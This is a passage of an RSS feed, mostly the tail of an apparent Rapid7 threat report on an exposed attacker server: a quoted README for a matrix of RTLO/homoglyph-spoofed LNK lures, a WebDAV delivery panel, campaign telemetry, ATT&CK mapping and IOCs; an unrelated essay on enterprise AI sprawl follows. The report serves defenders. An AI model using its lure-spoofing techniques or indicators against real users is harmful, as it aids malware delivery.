  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI’s problems aren’t what you think]]></title>
<description><![CDATA[The biggest and loudest prediction about AI is that it will eliminate millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage co...]]></description>
<link>https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The biggest and loudest prediction about AI is that it will <a href="https://www.axios.com/2025/05/28/ai-jobs-white-collar-unemployment-anthropic">eliminate</a> millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage costs spreading faster than most organizations can govern or connect to real business value, also known as <a href="https://www.ibm.com/think/topics/ai-agent-sprawl">AI sprawl.</a></p>



<p class="wp-block-paragraph">None of that invalidates the initial fear. Indeed, AI can clear backlogs, speed up analysis, draft usable content and reduce time spent on repetitive work. In my opinion, what goes wrong is the assumption that those gains will scale seamlessly, and that more AI will automatically produce more value.</p>



<p class="wp-block-paragraph">What really matters is not only how much AI a company can deploy, but whether its use fits inside a growth strategy, an operating model and an organization that can use it well.</p>



<p class="wp-block-paragraph">The early results of AI use made the logical progression feel obvious, even a foregone conclusion. If it could already improve output in narrow use cases, then broader deployment should produce broader gains. Simple! Better models were expected to deliver better results. More agents were expected to drive more automation. For many companies, this logic held for long enough to encourage overexpansion.</p>



<p class="wp-block-paragraph">But this logic has started to break down as usage continues to scale. I’ve seen returns diminish much quicker than expected. To illustrate, one <a href="https://www.businessinsider.com/ai-tokenmaxxing-fails-as-productivity-strategy-jellyfish-2026-5?utm">industry analysis</a> found that developers who used AI most heavily produced about twice the output of moderate users, but consumed roughly ten times the compute.  </p>



<p class="wp-block-paragraph">At a certain point, more AI does not create proportionally more value – it simply becomes more expensive. But where, exactly?</p>



<h2 class="wp-block-heading">From experimentation to sprawl</h2>



<p class="wp-block-paragraph">Experimentation played a key role in this downturn, but it’s not the culprit. As AI continues to sprawl, the problem continues that AI is spreading faster than most companies can coordinate. Teams often solve the same problem in parallel, paying for overlapping capabilities and layering new tools atop existing ones without any clear inventory of what ‘s already in place. What can appear as momentum is really turning into redundancy.</p>



<p class="wp-block-paragraph">I’ve seen versions of this play out repeatedly. At one financial firm, several business units were pursuing AI projects aimed at automating research and reporting. Each team moved independently; selecting their own tools, building their own workflows and creating separate data pipelines, with little to no coordination between teams. In some cases, different groups were developing nearly identical capabilities without realizing it, solving the same problems twice without any shared visibility into each other’s work.</p>



<p class="wp-block-paragraph">Individually, the projects showed real promise. Collectively, the projects created duplication, fragmented data and inconsistent standards business and enterprise wide.</p>



<p class="wp-block-paragraph">By the time leadership stepped back to assess, the company found itself paying for overlapping capabilities, maintaining multiple versions of the same underlying data, and struggling to determine which solutions were actually delivering value versus which were simply consuming budget and eating at engineering time.</p>



<p class="wp-block-paragraph">Perhaps most troubling: nobody at the enterprise level had a complete view of what was being built, by whom or why. What began as healthy, well-intentioned experimentation had, without anyone deciding it should, evolved into full-blown AI sprawl, creating a patchwork of disconnected initiatives that was difficult to govern, harder to secure and far more expensive than a coordinated approach could and should be.</p>



<p class="wp-block-paragraph">Early wins encourage a still wider rollout, but many organizations expand usage before they put real controls in place. Experimentation becomes sprawl. Budgets grow quickly, and few leaders have a reliable view of who is using what or why.</p>



<h2 class="wp-block-heading">AI strategy cannot sit beside growth strategy</h2>



<p class="wp-block-paragraph">This is where I see many companies still get the issue wrong. They treat AI and growth strategy as two separate efforts, then wonder how adoption gets so messy. A business cannot drop AI into its operations and expect momentum to take over. The technology has to support a clear path to growth, whether that means improving margin, speed, service, capacity or decision-making. At the same time, growth plans cannot assume AI changes nothing about delivery, design or operating leverage. The real challenge is in ensuring the two work together.</p>



<p class="wp-block-paragraph">Personally, I’ve seen better results when AI initiatives are tied to a specific business objective from the beginning, rather than launched as broad, abstract or transformative effort. One mattress retailer I’ve worked with took this approach, starting with a single, focused and well-defined use case rather than trying to transform or overhaul the entire organization at once. The company introduced an AI-powered training platform for store associates, giving employees a low-pressure way to practice sales conversations and product recommendations before applying them to external situations with customers on the floor.</p>



<p class="wp-block-paragraph">Because employees experienced immediate and tangible value from the tool, adoption spread quickly across locations, with minimal need for top-down mandates. Early, visible success helped to build internal credibility and generate momentum, which leadership then leveraged to expand into more complex AI initiatives across areas such as inventory management, demand forecasting and replenishment planning.</p>



<p class="wp-block-paragraph">Ultimately, the technology succeeded not because it was innovative for its own sake, but because it was connected to a larger growth strategy: improving sales effectiveness on the floor, driving operational efficiency behind the scenes and strengthening workforce capability at entry level. A major lesson we walked away with here was that starting small and specific, with a clear throughline to business value creates a strong foundation for sustainable and scalable AI use.</p>



<h2 class="wp-block-heading">What implementation actually takes</h2>



<p class="wp-block-paragraph">All this takes more than a few easy guardrails. It takes strategy. Leaders need a real inventory of the tools, agents and assistants already in use across the business, who owns them, what data they can access and everything that they support.</p>



<p class="wp-block-paragraph">They also need financial controls that match the economics of token-based usage, including role-based access, thresholds and review processes that make spend visible before it becomes a surprise. Similarly, they need metrics that go beyond mere activity. More prompts do not mean more value. If a deployment cannot be tied to throughput, margin, quality, cycle time or another tangible result, it is still unfinished.</p>



<p class="wp-block-paragraph">This is also why blunt shutdowns rarely work. If leaders clamp down too hard, employees often move to unsanctioned tools and create a larger <a href="https://www.paloaltonetworks.com/cyberpedia/what-is-shadow-ai">shadow AI</a> problem, or the unauthorized use of artificial intelligence tools, models or chatbots by employees, without the knowledge or approval of IT and security teams, with even less visibility and more risk. The better answer is disciplined adoption: clear ownership, rules, metrics and enough flexibility for teams to use AI where it works.</p>



<p class="wp-block-paragraph">That matters for the people as much as it does for the budget. Those that modernize well end up with <em>better</em> work – not just less of it.</p>



<p class="wp-block-paragraph">The story of the moment isn’t about AI replacing people – or even AI in general. It’s about whether companies know their own businesses well enough to keep incorporating powerful new tools without mistaking activity for progress. As technological capabilities continue to appear, the winners will be the organizations that understand where it belongs, what it can improve and how to turn each new wave into something permanent.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The World Cup VAR Scandal Wasn't Really About Technology]]></title>
<description><![CDATA[The World Cup VAR controversy offers a lesson far beyond soccer, showing how poor implementation, mission creep, and public perception can undermine even the best technology. The post The World Cup VAR Scandal Wasn't Really About Technology appeared first on TechNewsWorld.]]></description>
<link>https://tsecurity.de/de/3681080/it-nachrichten/the-world-cup-var-scandal-wasnt-really-about-technology/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681080/it-nachrichten/the-world-cup-var-scandal-wasnt-really-about-technology/</guid>
